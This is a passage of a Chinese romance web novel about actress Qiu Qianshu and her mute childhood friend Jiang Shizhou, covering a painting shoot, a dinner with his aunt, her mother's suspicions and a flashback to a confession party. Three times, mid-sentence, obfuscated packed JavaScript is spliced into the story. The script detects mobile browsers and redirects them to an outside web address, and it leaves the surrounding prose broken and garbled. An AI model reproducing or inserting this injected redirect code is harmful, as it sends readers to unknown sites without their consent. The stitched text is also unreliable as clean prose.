秋千舒也不吃那些高热量的甜点,咖啡也不想喝,站在那里两眼亮晶晶地看着江时舟,“我知道你不喜欢喝咖啡,也不爱吃马卡龙,对吧。” 比起让江时舟吃下午茶,她更希望他能过来教她画画。 江时舟原本还在聚灯光外,看着所有人都四散开来,只好穿过一堆拍摄设备,走到秋千舒跟前,拿起放在砚台上的另一支毛笔。 这幅画没那么讲究,差不多过意的去就行,又不是拿出去售卖的。 前几天拍摄用的那张画,他就自己拿回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914527|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当垃圾销毁了。 那么烂的作品,还是别流传到市面上了。 秋千舒看江时舟自己拿着笔在那画,趴在他旁边小声嘀咕,“你这样我也看不明白啊,还是不会。” 她要是用眼睛能看明白,那早八百年就成为国画大师了。 江时舟有些迷茫地看向秋千舒,他本来还想告诉她,沿着他刚刚画的线条,随便划两下就行,没想到秋千舒还是觉得不可以。 总感觉她是因为现在没人关注他们,所以就胡说八道,忽悠他。 以秋千舒的业务能力,不至于。 秋千舒啧了一声,“你就不能握着我的手,带我划两下吗?让我也找找感觉。” 还能怎么教? 真是孺子不可教也! 江时舟愣了一下,这话听着好像没什么毛病,但是总感觉哪里不太对。 “你教不教吧!”秋千舒见江时舟无动于衷,一时间都无语了。 她都那么热爱工作了,大家都在休息,就她还在奋笔疾书,奋力学习怎么装模作样地画画。 江时舟默默低头,握住她的手,在原来的水墨基础上继续进行修饰。 耳边传来她的呼吸声,清晰的,带着毛笔在宣纸上擦出的声响。 她的脖颈处擦了香膏,缥缈的茶香和茉莉香融合,后调是玫瑰余留。 江时舟初次在林钰送给他的香薰里闻到的时候还觉得平庸,现在才明白寓意深远。 其实非让秋千舒画的话,她也能装模作样地折腾出来,不过就没有这好机会,顺理成章地让江时舟教她画了。 “你看吧,还是你带我画更好。”停下手中的笔,秋千舒扭身看向江时舟,额头擦过他的鼻尖,和他眼神对视。 好像是太近了点,额头上还能感觉到他的气息,她甚至能看见他眼里的自己,嘴巴红红的,看起来很好亲的样子。 江时舟意识到不对,突然直起身子,后退了一步,埋怨地看着她,打手语道:“不要调戏我。” “我哪有调戏你!你不要冤枉人。”虽然秋千舒完全不冤。 秋千舒觉得江时舟变了,居然这么快就发现她的意图了,而且还讲出来,以前顶多就是面红耳赤一下,哪里会怪她调戏他。 江时舟:“……” 之后的拍摄就轻松多了,在江时舟手把手的教学下,秋千舒很快敢于在宣纸上乱涂乱画了。 结束完所有的拍摄,已经下午五六点了,天蒙蒙黑,像是给园林蒙上了一层深蓝的纱,水还在缓缓的流动,滴在石头上的凹槽里,溅到路边的落叶上。 秋千舒在化妆间里卸妆,顶了一天的精致造型,还挺累人的。她一边刷着手机里的美食视频,一边和助理讲自己晚上想吃什么。 毕竟辛苦了一天,再吃减肥餐的话,人会死的。 手机消息传来,打断了手机里美食主播的声音;秋千舒点进去看了一眼,顿时来了精神,告诉助理她可以提前下班了。 【罗冉:林钰刚刚亲自给我打电话,说邀请你吃饭。】 【罗冉:这是她的微信,主动点。】 【秋千舒:知道了。】 林钰没有秋千舒的联系方式,绕那么大一圈,当然不只是为了让秋千舒主动加她好友,然后请她吃饭。 因为饭局上还有个江时舟。 11. 樱花 江时舟看到林钰还邀请了秋千舒吃饭时,就知道她肯定要问话了。 他不是很想让林钰知道太多,因为林钰知道,就等于他妈妈知道。 会很麻烦。 林钰早猜到江时舟可能会不愿意,所以她直接就绕过他,向秋千舒的经纪人约秋千舒。 “我看千舒第一眼就觉得亲近。”包间里,林钰无视江时舟的不满,笑着和秋千舒讲话。 江时舟怨气十足,拿起手机,叮叮当当地敲了一行字,发给林钰。 林钰的手机响了一下,她看了一眼,直接就开了免打扰,继续讲她的话,“我听说你为了拍戏,特意学了手语。这么用心的演员,现在不多了。” 秋千舒被夸得有点不好意思,她只是对外这么营销自己,但实际上会手语和拍戏的关系不大,“其实也不全是拍戏的原因,林总以前说不定真的见过我。” 看到林钰关掉手机并且再也没打开过,而另一边的秋千舒完全意识不到他对林钰的恐惧,江时舟放弃挣扎,听着她俩你一句、我一句的讲话,自己生无可恋地拿起筷子,开启吃饭模式。 “我见过你?”林钰还蛮惊讶的。 虽然她确实感觉秋千舒很眼熟,但是怎么都没想过自己以前真的见过她。 秋千舒点头,“我以前是江时舟的邻居,在江时舟住在他外婆家的时候。” 林钰这回事真的惊到了,她不可思议地看着秋千舒,又想了想以前那个女娃娃,还是有点对不上。 “我记得你以前才那么大点。” 林钰比划着当时秋千舒的身高,那个时候的秋千舒还是个小洋娃娃,一眨眼就变成了大美女,感觉时间过得也没那么快啊。 又看到一旁低头吃饭的江时舟,江时舟以前也就豆丁大小,现在不也是长得比她还高。 时间还是过得快的,只是她没注意。 “真的好不可思议。”原本还有些架子的林钰在知道秋千舒的身份后,立刻就变成了亲切邻居,“记得以前,我妈经常提你。” 林钰工作后,很少有时间看望蒋女士,后来结婚了,就更不怎么回去了。 她虽然没怎么见过秋千舒,但却没少听到蒋女士说隔壁那小姑娘。 时隔多年,林钰早就不记得那小姑娘具体叫什么名字了,但要提起来,还是有些印象的。 是个家教很好的小孩,尤其和她那个不会说话的外甥玩很好。 自从江时舟搬家、蒋女士去世,林钰就再没听江时舟提过那个女孩。 她还以为,没后续了呢…… 这顿饭林钰吃得很开心,秋千舒也很开心。 剩下那个开不开心,无所谓。 分别前,林钰还拉着秋千舒的手,说以后有机会再一起吃饭,然后要求江时舟送秋千舒回家。 相比于和林钰一起吃饭时的活跃,秋千舒坐在副驾驶上时,就没那么多话了,安安静静地侧着身子,看着车窗外路过他们的汽车和行人。 尽管她并没有从林钰的口中得知任何这次请她拍广告的缘由,但她依然从林钰的举止中窥探到一二,肯定是江时舟向林钰推荐她了。 她不想听他讲关于林钰的事,所以他就找林钰亲自来跟她澄清。 绕了一大圈,就为了一条网上可以查得到真相的谣言。 夜晚的风很暧昧,车窗被秋千舒打开了一点,立刻就有风钻进她的胸膛,凉凉的,但不冷。 “这条路你还记得吗?以前我们放学经常走这条路回家,明明有更近的路,你非要说这边的风景更好。” 后来他说,樱花易逝,不喜欢樱花。 可是那一整条街就只有樱花。 车灯照在路上,划出一条线。 江时舟看着车外漫天飞舞的花瓣,想起那个时候,她总喜欢在地上捧起一大把樱花瓣,然后再撒出去,置身于花瓣中央,转圈。 风景真的很好,一整条路的粉色,都是她的背景。 正值樱花盛开季,樱花开得漂亮,风一吹,无数的花瓣四处散开,在空中飞旋,落到地上。 秋千舒将车窗全部打开,刚好风吹而过,落在地上的粉色花瓣被鼓动着,纷纷扬扬卷入天空,在路灯下再次绽放。 一片花瓣随风飘入车窗,落到秋千舒的衣服上,她捡起那片小巧的花瓣,放在手心里。 “还和以前一样。”秋千舒低着头,浅笑。 江时舟知道。 虽然过了很久,这里却没变化,还是只有樱花。 车停在她家门口,秋千舒解开安全带,下车前和江时舟道:“今天还是谢谢你,如果不是你在你小姨那里提了我,我大概率接不到这个工作。” 车里昏暗,看不清江时舟的表情。 他拿起手机。 ——你不用谢我,这个广告对你没有什么帮助。 多少品牌争着抢着要和秋千舒合作,就和多少片方争着抢着要找她拍戏一样。 她不缺这些东西,也不稀罕。 不然也不会说想休息就直接停下工作好久。 她现在的状态,就算一年不拍戏,也不会有什么影响。 当然,秋千舒不会这么干就对了。 “还是有点帮助的,广告费给得真的很多。” 大方又事少的资方,秋千舒还是要谢一下江时舟的。 那确实。 江时舟眨了眨眼睛,没有再打字。 秋千舒下车,关门前提醒他,“路上注意安全,别跑神了。” 她当时趴在车窗上看樱花的时候,注意到了。他朝她看了一眼,很细微的动作,悄悄的,如果她没有注意到窗户上的影子的话。 她不知道他会不会想起以前,他们一起走在那条种满樱花的道路上,他看着她跟个傻子一样在花瓣中转圈。 他还要背着两个背包,负重前行。 其实,她也是喜欢的吧。 那条路就是比另外一条近路风景更美。 秋千舒掂着包,一蹦一跳地回家,心情很好,看到隔壁红色三角梅都绕过墙生长到自己家了,心情更好了。 虽然她家不养花,但是她家隔壁有人养花,她也能赏花。 一开门,就看到杨素韵女士沉着一张脸,若有所思地站在窗户旁,盯着她。 秋千舒心里一咯噔,把手里的包放下,换双拖鞋,“妈,你这也太吓人了,怎么站那啊?” 这已经是第二次了吧,大晚上的,在客厅里待着,怪吓人。 杨素韵缓缓地从窗户那移动过来,围着秋千舒转了一圈,想要从她的身上发现什么端倪,然而无果,便严肃地质问道:“你是不是骗我了?其实你就是交男朋友了!” “没有,没有,没有!”秋千舒要是有男朋友,肯定不住家里。她抱住杨素韵的胳膊,把她拉到旁边的沙发坐下,“妈妈,你怎么老是怀疑我谈对象啊!” 要是真有,怀疑她也不冤,但是她没有诶! 杨素韵以前可从来没怀疑过,那个时候的秋千舒是肉眼可见的没对象,每天寡淡到她都看不下去的日常,和现在判若两人。 “我就怀疑过你两次,一次这次,一次上一次。”杨素韵伸出手指,非常确定地帮秋千舒回忆。 上一次是和孔昭出去吃夜宵,这一次又该怎么解释。 “我可看见了,那辆车的车牌可不是孔昭的!”为了看清楚车型和车牌,杨素韵特意跑到窗户那边,看得非常仔细。 再加上秋千舒回来的时候,笑得嘴都咧开了,杨素韵肯定自己这回绝对没错。 这么甜蜜,绝对有问题。 想来也该谈恋爱了,都快奔三的人,不可能没有恋爱的想法;再不谈恋爱,就享受不到那种酸酸甜甜的感觉了。 在年轻时,少体验了一份感觉,很亏。 面对着杨素韵怀疑的眼神,秋千舒大大方方地仰起头,非常自信地说道:“那是江时舟的车!江时舟!我今天和他,有点工作上的事。” 非要她说车是谁的,那她可真的说了。 她前几天刚和江时舟遇见过,今天和他约饭,而且还是为了工作上的事,还挺好理解的。 听到那是江时舟的车,杨素韵就没啥好说的了,而后想起来什么,一拍大腿,又气秋千舒,“你怎么不知道把他叫进来喝口茶啊!我还想见见他呢。” 怎么能请江时舟去她家喝茶呢?又不是她自己的房子。 要是就她一个人的话,拽着江时舟不让他走都没关系。 秋千舒把手也搭在杨素韵腿上,很认真地说道:“我一个黄花大闺女,大晚上的,请他进来喝茶,不合适啊。” 杨素韵很震惊,她没想到秋千舒居然开窍了,和江时舟都分男女,知道男女授受不亲了! 搁以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914528|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,他俩都好到穿一条裤子,也不见她说自己是黄花大闺女,得跟江时舟保持距离。 害,早不开窍。 想当年,杨素韵看着秋千舒天天往隔壁跑,说什么给江时舟当模特,关系好得不得了,她都以为他俩要擦出爱情的火花了。 青梅竹马,两小无猜,多好啊。 结果,半个月下来,秋千舒除了给她带回家一副不知道能挂在哪里、最后只能扔在储物间吃灰的画像,就什么都没有了。 和江时舟还是好朋友。 有缘无分啊。 杨素韵当时还伤感了一段时间,她是真的喜欢江时舟这孩子,她女儿也是真的对江时舟没感觉。 秋进贤还安慰她,说不定这俩孩子背地里搞对象,就是不告诉他们。 杨素韵是信不了一点。 真要搞对象,能那样不避嫌,也不告诉他们? 但这毕竟是俩人的私事,她就算再喜欢,也不能左右,眼睁睁地看着他俩从关系很好的朋友变成普通的旧识。 杨素韵只能想着,以后秋千舒找个对她更好、长得也更帅的对象谈,也让她心里也好受点。 不然,她肯定会难过。 “我以前总想着你能和江时舟好,但是你俩就是不来电。” 杨素韵拍了拍秋千舒的手,虽然已经过去了很久,但现在再回想起这件事,还忍不住遗憾。 秋千舒一脸震惊,她以前只能看出来杨素韵很喜欢江时舟,可看不出来是丈母娘式的喜欢啊。 杨素韵又叹了一口气,“你当然察觉不到,毕竟你也不喜欢人家江时舟。” 她那时候真切地能感觉到,江时舟很喜欢她女儿。他待千舒好,好到她这个妈妈都觉得好。 不记得是哪一年的事了,江时舟来找秋千舒,俩人不知道约去干什么,秋千舒在房间里化妆,江时舟在客厅里等她。 杨素韵那天刚好有事回了趟家,又刚好碰着了一个人在客厅坐着的江时舟。 好不容易逮到了一次和江时舟单独聊天的机会,杨素韵故作不经意地问起他,为什么对她家女儿这么好。 就说他俩约在了早上十点,但是现在都十点半了,秋千舒都还在化妆,他也不急、不催。 要是换别人不守时,江时舟可能就生气了。他平时挺有时间观念的,了解他的人都能发现。 江时舟告诉杨素韵,他对秋千舒好,是因为秋千舒对他好。 杨素韵不以为然,她女儿只是做了一个正常孩子应该做的事情。 在他被欺负的时候,主动站出来帮助他;因为是邻居,就和他一起上下学;是很好的朋友,所以学习手语…… 但是江时舟却写了一遍又一遍,秋千舒对他有多好。 看到最后,杨素韵居然在文字里感觉到了爱。 可惜那时候秋千舒不懂。 秋千舒:“……” 不,这和她喜不喜欢江时舟没一毛钱的关系。 她还是懂的。 就是杨素韵藏得太深了,从来没见她表达出来过,没人知道,真没人知道。 “我还以为你会觉得他不能讲话不好呢。” 剧本里都这么写,女主爸妈不同意女主和哑巴男主交往。 “你怎么会这么想?肤浅!”杨素韵撇嘴,非常嫌弃秋千舒这话,语重心长地说道:“有时候哑巴也挺好的,讲不出难听的话,也不会和你吵架。” 她也是活了半辈子的人,太清楚男人的嘴大部分时候都是没用的,更多就是惹人生气。 像江时舟这种,不会讲话,真要是吵架,秋千舒只要闭上眼睛,就能不战而胜。 非要说对象不能讲话的坏处吧,那也挺多的,什么沟通不便啦、不太好找工作啊。 但是这对江时舟来讲,根本不算事。 他识字,写得一手漂亮字,沟通就是慢了点,又不是没办法沟通。工作的话,会画画,是门手艺,可能不太赚钱,但至少不会饿死。 可惜了。 “不过呢,我早就没这个想法了。”杨素韵伸出手指,很认真地看着秋千舒,“妈妈现在对你恋爱就一个要求。” 秋千舒点头,还在想杨素韵对她找对象到底有什么绝对不能让步的要求。 杨素韵:“别找丑的。” 秋千舒:“……” 好吧,那也是她的底线。 12. 大学 刚上大学那会儿,秋千舒以为她的室友们都很内敛;直到大一下学期,她才发现,原来大家都是装的,她才是那个最含蓄的。 不知道什么节点,大概是全宿舍集体围观室友A换胸罩,亦或者“坦诚相见”之后,四个女生的感情直线升温。 女生宿舍的话题总是聊不完,尽管秋千舒大部分时候都躺在床上打游戏,不参与她们的讨论。 某次,宿舍就从在网上买了两件衣服展开讨论,一直聊到她们系哪个男生长得最帅。 室友A认为,是隔壁班的刘同学,他艺考那会儿就因为颜值出圈,早早地就签了经纪公司。 室友B表示赞同。 室友C却觉得,上一届的孟学长和刘同学长得蛮像的,但是孟学长明显比刘同学更精致。 三个人展开了一场究竟是孟学长更帅,还是刘同学更帅的辩论。 室友C口若悬河,在人数不够的情况下,以一敌二,占据上风。 室友B见情况不妙,立刻将躺在床上的秋千舒也拉入了战场。 “千舒,你来评价!究竟是刘更帅,还是孟更帅!” 三人齐刷刷地看向在坐在床上打游戏的秋千舒。 秋千舒放下手里的游戏机,接过室友B递过来的平板,来回翻看那两张刘和孟的照片,试图做出最公正的评价。 她一直在听室友们的讨论,就是不太记得这两个人长什么样。 表演系的学生大都是俊男美女,最次也得是个平均脸,看她们夸得天花地坠,还以为有多么惊为天人。 也没帅到能在院系里鹤立鸡群。 “嗯……”秋千舒把平板放到床上,盘腿坐着,很纠结地想要选出来这两位那个更帅。 选刘吧,孟确实比他更精致;选孟吧,刘也确实比他更阳刚。 有点难度。 “我们表演系肯定有更帅的。”秋千舒纠结了三分钟,决定道,“这俩的造型还是太刻意了,没那种客观帅哥的感觉。” 帅当然还是帅的,就是过分包装导致给人一种有点外界加持的帅,不是那种单纯颜值逆天的感觉。 室友C一眼就看出,秋千舒另有他选,惊喜地趴着栏杆,踮脚笑容可掬,“你是不是见过更帅的!” 室友A和B一听,更是两眼放光。 秋千舒一向不关注学校的男生,长得再惊为天人,她也记不住,这回居然说她们表演系有更帅的。 不知道那位幸运小伙入了她们高冷女神的眼。 秋千舒立刻否认,“不是,没在学校见过。” 她只是单纯地觉得,如果她们表演系的顶级神颜就这的话,那以后的观众未免吃得太差了。 “咦~”室友C嫌弃地站直,拉开桌子旁的凳子就坐了下来,然后仰头继续拷问,“要是你没见过更帅的,能这么说?” 室友A非常赞同地点了点头,“就是,千舒,你可不能藏着掖着哈。” 三个人已经完全不在乎刚才讨论的谁更帅的事了,现在更为重要的,是秋千舒那么说,一定有什么问题。 “如果只是更帅的,但不是我们学校的,那我还真见过。”秋千舒捧着平板,若有所思地说道。 再看一遍刘和孟的照片,也还是觉得没那么出挑。 她把平板还给室友B,找到放在枕头边上自己的手机,随便扒了一下相册,找了张她随便给江时舟拍的照片,展示给室友们。 “纯天然,原相机直出。”秋千舒还有点骄傲。 她还记得这张照片是参加江时舟学校举办的成人礼时拍的。说起来也挺气人的,她那一届都还没有,下一届就有了。 这种再重返校园的好事,她就是跟辅导员请假,也百分百得去凑热闹。 蒋女士给江时舟准备了一套非常完美的西装,衬得他比平时成熟很多。 那天天气也好,秋千舒和蒋女士一起,拿着各种装备,给江时舟拍了好多照片。 青春的缩影,他的高中生活也要结束了。 秋千舒还在感叹当时为了能拍出效果,自己有多么拼命,她的室友们就集体发出了尖锐爆鸣声。 “这么帅!” “长得好牛逼!” “这个真比不了!” …… 听取“哇”声一片,秋千舒表面波澜不惊,实则沉浸在江时舟被夸就等于自己被夸的世界里。 “有女朋友吗?”室友C板凳还没坐热呢,就站了起来,一脸严肃地看着秋千舒。 室友A也上前,很郑重地跟着附和:“有联系方式吗?” 室友B依依不舍地把手机还给秋千舒,带着点谄媚,“给个机会呗~” 秋千舒听她们突然从照片里的人长得有多好看,转到问她要联系方式,瞬间就不骄傲了,夺回自己的手机,强烈拒绝道:“不给。” “……” “……” “……” 怪不得她们院系的男同学都入不了秋千舒的眼。 这个要是真纯天然的,那确实谈了这个就对其他长得帅的免疫了。 不稀罕,谈过更帅的。 “没办法,这款是千舒自留。”室友C拍了拍旁边失望的室友A,摇了摇头,颇为无奈地说道。 室友B也道:“千舒只谈一个,以后再遇到这种极品,就得推给我们了哈。” 秋千舒:“……” 她能说什么,其实江时舟只是她的邻居、朋友、竹马,她其实没和他谈恋爱? 肯定不能说啊,说了一定会死缠着她要江时舟的联系方式。 秋千舒不想给。 她几天前才因为有人跟向满表白,生气和他吵架。 江时舟高考前,他家人就计划要带蒋女士和他出国避暑,但是他不愿意,秋千舒也没劝动,最后没办法,蒋女士就一个人去了。 秋千舒搞不懂江时舟的固执,宁可一个人守家,也不愿意和蒋女士一起出国。 因为这事,她心里本来就有点烦。 六月初旬,江时舟高考完。 秋千舒特别不放心,尤其是蒋女士还不在家,家里只有江时舟一个人。 众所周知,高考完是表白的好时机,再一联想到江时舟死都不愿意和蒋女士出国,她就更紧张了。 那天黄昏,她刚和室友上完专业课,准备去食堂吃饭,人都没走到食堂,就收到了江时舟朋友的消息。 【徐益:姐,快来救江时舟!!!】 【徐益:我单知道今天晚上有班级聚会,但是我不知道半个年级的女生都来了啊啊啊!!!】 【徐益:全是来给江时舟表白的。】 【徐益:我真的是只想拉他出来玩而已……】 当天的太阳还很毒辣,秋千舒站在被太阳照得发白的台阶上,硬是没感觉到一丝热意。 正值下课的点,一波又一波的人从教学楼里出来,朝食堂的方向走,控诉着燥热。室友们也都在荫凉处等她,抱怨快要热死了。 秋千舒点开徐益发给她的定位,抬头和室友说了声,“我突然有点事,不和你们吃饭了!” 不等室友回她,人就跑没影了。 宴会厅,无数双眼睛盯着唐僧肉,江时舟却熟视无睹地吃着摆在餐桌上的水果,新鲜的,还挺好吃。 徐益过来拉了他好几下,实在不行就赶紧跑吧。 他也是第一次见到,原来他们年级有这么多美少女;就是每个美少女眼里,都充满了战斗欲。 江时舟写了一行字,递给徐益。 ——我交了钱,得吃回本。 徐益眼前一黑:“我嘞个小祖宗,你差那点钱啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914529|192509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我可听到消息了,这些女生都是奔你来的,到时候我可救不了你。” 刚开始他也不知道,因为他和江时舟关系好,所以连他也瞒着。 到这里一看,他立刻就意识到了不对劲,多方打探过后才知道,这纯属就是个为江时舟特意准备的“鸿门宴”。 就算知道可能会被秒拒,但还是想试一试,而且这可能是她们最后一次见到江时舟了;出于这种心态,一下聚集了好多女生。 甭管是不是真心喜欢江时舟,反正试试也不亏。 万一走了狗屎运。 说实话,他要是女的,肯定也会过来凑热闹。 徐益觉得,江时舟就是人太好说话了。 之前有女生和他表白,他都客客气气地拒绝,原因也是不痛不痒的不想在高中谈恋爱。 那现在总可以恋爱了吧。 江时舟回了徐益一个微笑,看起来和往常一样,平静得好像什么事都没有,而后便低头继续找好吃的。 徐益现在就像热锅上的蚂蚁,急得到处乱跳,但江时舟却完全没有自己是唐僧肉的自觉性。 “江时舟!” 来了来了…… 徐益在心里替江时舟捏了把汗。 盛装出席的女生手里拿着一封信含羞走来,作为本次聚会的发起人,田青颖也是第一位过来和江时舟表白的女生。 为了这次表白,田青颖准备了很多很多,因为知道单独约不出来江时舟,所以精修策划了这次聚会,不管成功与否,至少没有遗憾。 她以为,无论怎么样,他都是温柔的。 “你还记得吗?我们第一次见面,你在楼下看风景,我站在楼上看你……我之前向你表白,你拒绝了我,说你不想在高中谈恋爱。江时舟,我们现在已经毕业了……” 江时舟听她讲完,比划了一个手势。 田青颖一脸茫然地看着江时舟,她看不懂他什么意思,虽然有努力了解,但只能勉强知道一些谢谢、你好、不客气之类的礼貌用语。 一旁看懂了的徐益震惊,有些同情地看向田青颖,犹豫了一下,还是翻译道:“江时舟让你滚。” 江时舟从来没用过这么糙的手语表达,徐益之所以能看得懂,还是因为他之前让江时舟教过他怎么用手语骂人。 田青颖第一秒甚至没反应过来什么意思,她怎么都没想到自己那么感人肺腑的一场表白,居然只得到了一个让她滚的手势。 江时舟依旧面带微笑地看着他,只是眼底没什么笑意。 “我……我不是很懂你的意思。江时舟,我喜欢你,你可以和我交往吗?”田青颖佯装镇定,还是坚持把情书递给了他。 四周鸦雀无声,所有人都屏住了呼吸。 他们宁可认为是徐益翻译错了,都不觉得是江时舟骂人。 田青颖的指甲死死地掐着粉色的信封,在这之前上面没有任何折痕。 许久听不到回音,她的肩膀忍不住抖了起来,低着头看着自己精挑细选的白裙,眼泪在眼里打转。 江时舟垂眼,看着面前女生刚做的美甲,忽然想起来秋千舒之前还和他吐槽,说做了美甲打游戏很不方便,感觉自己的手指都不能呼吸了。 之后,就没见她再弄过了。 “江时舟……”徐益见江时舟跑神,小声喊了喊他。 拜托,甭管怎么样,人家在向他表白诶! 江时舟回神,从田青颖的手里抽出那封情书。 田青颖惊喜抬头。 却看见江时舟连打开都没打开,就将它撕成了碎片。 一片片的,扔进旁边的垃圾桶里。 田青颖再也忍不住,踉跄着后退几步,转身跑了出去,恰与站在门口一直看这场闹剧的秋千舒相撞。 俩人相看了一眼,什么都没说。 13. 道歉 秋千舒认识这位表白的女生,她曾找过她。 “你和江时舟什么关系?为什么你们天天一起放学回家?” “邻居啊,当然要天天一起回家了。” …… 那次对话之后,秋千舒收到表白的次数疯长,江时舟也不例外;全校都知道了他们校花和那个哑巴没有谈恋爱。 秋千舒无比的后悔,当时自己说清了她和江时舟的关系。 她大度地以为,那个女生喜欢江时舟,她又不能阻止什么,可真看见了有人和江时舟表白,她又很不爽。 无缘无故地朝江时舟发了很多次脾气。 那时候,她以为自己坏掉了。 秋千舒过去,抓住江时舟的胳膊,二话没说地拉他往外走。 江时舟撕情书的时候没慌,田青颖哭着跑出去的时候也没慌;泰然自若地站在垃圾桶那边,没有丝毫的愧疚之意。 直到他看见了秋千舒,浅笑着的那张脸上才出现破防、惶恐、不安。 他很清楚在她眼里,什么是恶的,什么绝对不能做。 而他刚刚的做法,是她眼里的恶。 他被发现了。 有人认出了秋千舒,小声嘀咕着她怎么会出现在这里。 徐益见状,跑到舞台中央上,拿起话筒说要发表毕业感言,试图活跃聚会的气氛,转移众人的注意力。 “你那样做,真的很伤人心。”出了饭店大门,秋千舒就忍不住道。 她皱着眉看向江时舟。 不管怎么说,当着人家的面把对方的情书撕成碎片这种事,就是很过分、很恶劣。 江时舟站在那里,低着头不敢看她,也不敢打手语。 “你明明可以骗她,说你有女朋友,又或者当初就和你外婆一起出国旅游。” 秋千舒最气的,是他有很多更好的处理方式,但非要选择一个最极端的方式。 而且,他还完全不觉得这么做不对! 她还是更在意他为什么没有陪蒋女士一起出国,江时舟轻轻蜷缩手指,又悄悄放下。 沉默,无声。 秋千舒见他像个木头一样杵在那里,心里更是来火了。 六月的晚风都是热的,她从教学楼一路跑到学校门口打车,累得头发都油了,再坐一个多小时的车到这里,路上还堵车。 燥热和倦意叠加在一起,让她烦得想吐。 “你最好和那个女生道歉。”秋千舒呼出一口热气。 听到秋千舒要他去找田青颖,江时舟立刻抬头,固执地打手语道:“我不会去找她。” “那我去行吧!”秋千舒说这话的时候,感觉自己的五脏六腑都在冒烟。 说罢,她就不理江时舟,转身找田青颖去了。 卫生间里,传来淅淅沥沥的流水声。 秋千舒走进去,默默关掉那个水龙头,“对不起。” 田青颖的眼睛已经哭肿了,她大概没想到自己的一腔热血喂了狗。秋千舒进来的时候,她也没听见,只是自顾自地站在洗手台面前,用水流挡住哭声。 秋千舒:“江时舟他……” “为什么是你来替他道歉?”田青颖止住哭泣,沙哑的声音打断秋千舒的话,“你和他什么关系,你就替他道歉?” 她侧头看向秋千舒,冷笑一声:“江时舟很过分,我知道,并且你放心,我以后不会再喜欢他了。但是你,秋千舒,你当初那句‘只是邻居’的关系,你说这话的时候,你笑没笑,我居然还真信,也是荒谬……” 秋千舒抿嘴,没想到她还记得那事。 十七八岁的她对恋爱的话题永远都是避之不谈,她搞不懂自己的感情,只是不好意思听别人打趣她和江时舟。 什么小情侣,她和他的关系很纯洁。 世界上就是有纯洁的男女友谊。 不知道听她这么义正言辞地讲这些话的人,内心有没有吐槽过她。 秋千舒就是能装,不然也不会考上表演系。 “真是哪都能看见你,烦死了。”田青颖甩了甩手上的水,白了秋千舒一眼,然后就离开了。 剩秋千舒一个人站在洗手台前,看着镜子里头发有点凌乱的自己。 她好像,真的该考虑一下她和江时舟的关系了。 江时舟还在饭店门口等她,秋千舒刚走到大厅就看到了他的背影,又想起田青颖那句“真是哪都能看见你”。 她总会神奇地出现在他的面前,刻意的、无意的。 “我给你打了车,到家给我发定位。”秋千舒深吸一口气,努力让自己平静下来,走过去和江时舟说道。 江时舟在上车前,递给了她一张从线圈本里撕下来的A7纸,是他刚刚用签字笔画的四宫格,卡通形象的他和她。 ——我不是个好孩子。 ——你可以装作没看见吗? ——求你了。 ——你会同意的,对吧。 犟种最后还是没认错,自欺欺人也不认错;秋千舒看到那个四宫格,都被无语笑了。 要不是人已经坐车走了,秋千舒真的想揍他一顿。 真要算起来,这事也算不上她和他吵架,就是她单方面气他做事没素质。 秋千舒那天在手机里也质问了他,这么对待别人的表白,就没想过有天自己表白也会这么被对待。 江时舟的回答很绝情,他说在一起的下一步就是分别,谁都一样,所以他不会表白,也不会想着和谁在一起。 雏菊的花语是暗恋,在缄口不言的世界里,他不渴望得到光明正大的爱。 秋千舒看到他的消息,是失落的。 她有一百种让他和她在一起的办法,却没有哪一种办法,让他觉得他们不会分别。 但是,她还是想试一试。 宿舍里,她的三个室友已经从她们院系谁长得最帅,转到了明天下午没课,要不要出去吃饭。 秋千舒:“我就不去了,明天下午我回家。” “啊……能不能不回去啊……”室友A、B、C共同劝道。 秋千舒:“不可以,我要回去看看这个。” 说着,她举起手机,指了指照片里的少年。 室友C:“那你去吧。” 室友A:“麻烦替我向帅哥问个好。” 室友B:“回来带点吃的。” …… * 秋千舒在学校吃了午饭才回家,她爸妈还不知道她今天回来。 她也没说,两手空空地就回家了。 夏天的空气都是烫皮肤的,不断地加热和加热,只在外面站一小会儿,人就化了。 偶尔太阳被云遮挡,就算不站在树荫下,也能缓冲清爽片刻。 秋千舒虽然热,但还是坚持撑着遮阳伞,全副武装,生怕自己被晒黑。 路过家附近的一座湖时,她发现湖边树下居然有个不怕热、也不怕晒的人,在那里支架写生。 再定睛一看,那个顶着大中午毒辣太阳的狠人,居然是江时舟! 甭管是不是还在生他的气,秋千舒当即就小跑过去,把遮阳伞打到他头上。 